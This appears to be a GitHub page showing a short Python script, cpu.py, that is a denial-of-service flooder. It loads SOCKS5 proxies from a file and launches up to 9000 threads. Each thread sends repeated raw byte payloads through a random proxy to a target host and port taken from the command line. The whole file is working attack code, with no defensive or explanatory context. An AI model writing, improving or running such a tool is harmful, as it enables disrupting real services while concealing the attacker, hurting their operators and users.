-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcpu.py
31 lines (30 loc) · 1.05 KB
/
cpu.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import threading
import socket
import socks
import random
import sys
proxies = open('socks5.txt', "r").read().split("\n")
payloads = [b"\x38\x00\x01", b"\x38\x00\x00\x00\x00\x00", b"\x00"*45]
def create_proxied_socket(proxy_host, proxy_port):
s = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
s.set_proxy(socks.SOCKS5, proxy_host, proxy_port)
return s
def worker():
target = (sys.argv[1], int(sys.argv[2]))
proxy = random.choice(proxies)
proxy_host = proxy.split(":")[0]
proxy_port = int(proxy.split(":")[1])
tcp = create_proxied_socket(proxy_host, proxy_port)
while True:
if tcp:
try:
print(f"[{proxy}] -> Sent payload!")
tcp.sendto(random.choice(payloads), target)
except Exception as error:
print(f"[{proxy}] -> Breaking down connection. | {error}")
tcp.close()
break
return
while True:
while threading.active_count() >= 9000: pass
threading.Thread(target=worker).start()